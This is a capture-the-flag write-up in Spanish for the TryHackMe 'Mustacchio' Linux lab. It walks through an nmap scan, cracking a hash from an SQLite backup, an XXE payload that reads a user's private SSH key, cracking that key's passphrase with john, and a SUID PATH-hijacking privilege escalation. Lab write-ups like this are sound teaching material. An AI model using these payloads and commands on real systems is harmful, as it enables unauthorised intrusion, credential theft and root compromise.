TryHackMe Easy Linux XXE SQLite SUID PATH Hijacking

Mustacchio

SQLite backup con hash; XXE para leer clave SSH privada de barry; escalada via PATH hijacking en binario SUID.

cat4clysm
Herramientas utilizadas
nmap wfuzz sqlitebrowser john ssh2john

Scanning

root@kali:~$
nmap -sC -sV -p 22,80 -Pn -n -oN targeted 10.10.0.151
nmap scan

Puerto 80 - SQLite Backup

wfuzz

Encontramos custom/js/users.bak. Lo abrimos con sqlitebrowser:

file type sqlite browser john cracked hash

Puerto 8765 - XXE Injection

admin panel source code hint

El panel acepta XML. Explotamos XXE para leer la clave SSH de barry:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<comment>
  <name>&xxe;</name>
</comment>

Obtenemos la clave RSA cifrada de barry y la crackeamos:

root@kali:~$
python2 /usr/share/john/ssh2john.py id_rsa > id_rsa.john
john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
passphrase cracked
root@kali:~$
ssh [email protected] -i id_rsa
ssh login

Escalada - SUID PATH Hijacking

root@kali:~$
find / -perm -u=s -type f 2>/dev/null
suid files

/home/joe/livelog llama a tail sin ruta absoluta:

ltrace tail
root@kali:~$
cd /tmp
echo "/bin/bash" > tail
chmod +x tail
export PATH=/tmp:$PATH
/home/joe/live_log
root

Lecciones aprendidas